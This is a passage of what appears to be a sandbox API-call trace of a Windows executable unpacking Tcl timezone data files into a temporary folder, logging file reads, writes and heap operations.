(hObject=0x10c) returned 1 [0039.576] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.577] htonl (hostlong=0x30000000) returned 0x30 [0039.577] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.577] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.577] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.577] GetFileType (hFile=0x10c) returned 0x1 [0039.577] htonl (hostlong=0xeb3a5a00) returned 0x5a3aeb [0039.577] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5eeaeb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.578] htonl (hostlong=0xc9050000) returned 0x5c9 [0039.578] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5c9) returned 0x550600 [0039.578] htonl (hostlong=0xc9050000) returned 0x5c9 [0039.578] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.578] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.578] htonl (hostlong=0x391a0000) returned 0x1a39 [0039.578] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a39) returned 0x561090 [0039.579] htonl (hostlong=0xc9050000) returned 0x5c9 [0039.579] htonl (hostlong=0x391a0000) returned 0x1a39 [0039.579] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562ad8 [0039.579] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562ad8 | out: hHeap=0x530000) returned 1 [0039.579] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.579] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.579] CloseHandle (hObject=0x10c) returned 1 [0039.579] GetLastError () returned 0x0 [0039.579] SetLastError (dwErrCode=0x0) [0039.579] GetLastError () returned 0x0 [0039.579] SetLastError (dwErrCode=0x0) [0039.579] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.579] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.579] GetFileType (hFile=0x10c) returned 0x1 [0039.579] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.579] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.579] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.579] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.579] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.579] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.579] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.579] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.581] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.581] CloseHandle (hObject=0x10c) returned 1 [0039.581] GetLastError () returned 0x0 [0039.581] SetLastError (dwErrCode=0x0) [0039.581] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.581] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.581] GetFileType (hFile=0x10c) returned 0x1 [0039.581] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.581] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.581] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.581] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.582] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.582] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.582] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.582] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.582] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.582] CloseHandle (hObject=0x10c) returned 1 [0039.582] GetLastError () returned 0x0 [0039.582] SetLastError (dwErrCode=0x0) [0039.582] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.582] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.582] GetFileType (hFile=0x10c) returned 0x1 [0039.582] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.582] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.582] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.582] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.582] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.582] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.582] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.582] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.582] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.582] CloseHandle (hObject=0x10c) returned 1 [0039.582] GetLastError () returned 0x0 [0039.582] SetLastError (dwErrCode=0x0) [0039.582] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Scoresbysund") returned 77 [0039.583] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Scoresbysund" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\scoresbysund"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.583] GetLastError () returned 0x2 [0039.583] SetLastError (dwErrCode=0x2) [0039.583] GetLastError () returned 0x2 [0039.583] SetLastError (dwErrCode=0x2) [0039.583] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Scoresbysund", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Scoresbysund", lpFilePart=0x0) returned 0x4c [0039.583] GetLastError () returned 0x2 [0039.583] SetLastError (dwErrCode=0x2) [0039.583] GetLastError () returned 0x2 [0039.583] SetLastError (dwErrCode=0x2) [0039.583] GetLastError () returned 0x2 [0039.583] SetLastError (dwErrCode=0x2) [0039.587] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Scoresbysund") returned 77 [0039.587] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.587] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Scoresbysund" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\scoresbysund"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.587] GetFileType (hFile=0x10c) returned 0x1 [0039.587] htonl (hostlong=0x391a0000) returned 0x1a39 [0039.587] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.588] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.588] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa39, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa39, lpOverlapped=0x0) returned 1 [0039.588] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.589] CloseHandle (hObject=0x10c) returned 1 [0039.589] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.589] htonl (hostlong=0x40000000) returned 0x40 [0039.589] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.589] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.589] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.589] GetFileType (hFile=0x10c) returned 0x1 [0039.590] htonl (hostlong=0xb4405a00) returned 0x5a40b4 [0039.590] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ef0b4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.590] htonl (hostlong=0x8b000000) returned 0x8b [0039.590] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0039.590] htonl (hostlong=0x8b000000) returned 0x8b [0039.590] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.590] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.590] htonl (hostlong=0xb6000000) returned 0xb6 [0039.590] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb6) returned 0x550600 [0039.590] htonl (hostlong=0x8b000000) returned 0x8b [0039.590] htonl (hostlong=0xb6000000) returned 0xb6 [0039.590] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.590] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.590] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.590] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.590] CloseHandle (hObject=0x10c) returned 1 [0039.590] GetLastError () returned 0x0 [0039.590] SetLastError (dwErrCode=0x0) [0039.590] GetLastError () returned 0x0 [0039.590] SetLastError (dwErrCode=0x0) [0039.590] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.590] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.590] GetFileType (hFile=0x10c) returned 0x1 [0039.590] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.591] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.591] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.591] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.591] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.591] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.591] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.591] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.591] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.591] CloseHandle (hObject=0x10c) returned 1 [0039.591] GetLastError () returned 0x0 [0039.591] SetLastError (dwErrCode=0x0) [0039.591] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.591] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.591] GetFileType (hFile=0x10c) returned 0x1 [0039.591] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.591] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.592] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.592] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.592] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.592] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.592] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.592] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.592] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.592] CloseHandle (hObject=0x10c) returned 1 [0039.592] GetLastError () returned 0x0 [0039.592] SetLastError (dwErrCode=0x0) [0039.592] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.592] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.592] GetFileType (hFile=0x10c) returned 0x1 [0039.592] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.592] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.592] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.592] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.592] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.592] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.592] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.592] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.592] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.592] CloseHandle (hObject=0x10c) returned 1 [0039.593] GetLastError () returned 0x0 [0039.593] SetLastError (dwErrCode=0x0) [0039.593] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Shiprock") returned 73 [0039.593] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Shiprock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\shiprock"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.593] GetLastError () returned 0x2 [0039.593] SetLastError (dwErrCode=0x2) [0039.593] GetLastError () returned 0x2 [0039.593] SetLastError (dwErrCode=0x2) [0039.593] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Shiprock", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Shiprock", lpFilePart=0x0) returned 0x48 [0039.593] GetLastError () returned 0x2 [0039.593] SetLastError (dwErrCode=0x2) [0039.593] GetLastError () returned 0x2 [0039.593] SetLastError (dwErrCode=0x2) [0039.593] GetLastError () returned 0x2 [0039.593] SetLastError (dwErrCode=0x2) [0039.593] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Shiprock") returned 73 [0039.593] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.593] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Shiprock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\shiprock"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.594] GetFileType (hFile=0x10c) returned 0x1 [0039.594] htonl (hostlong=0xb6000000) returned 0xb6 [0039.594] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.594] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb6, lpOverlapped=0x0) returned 1 [0039.595] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.595] CloseHandle (hObject=0x10c) returned 1 [0039.596] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.596] htonl (hostlong=0x30000000) returned 0x30 [0039.596] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.596] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.596] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.596] GetFileType (hFile=0x10c) returned 0x1 [0039.596] htonl (hostlong=0x3f415a00) returned 0x5a413f [0039.596] 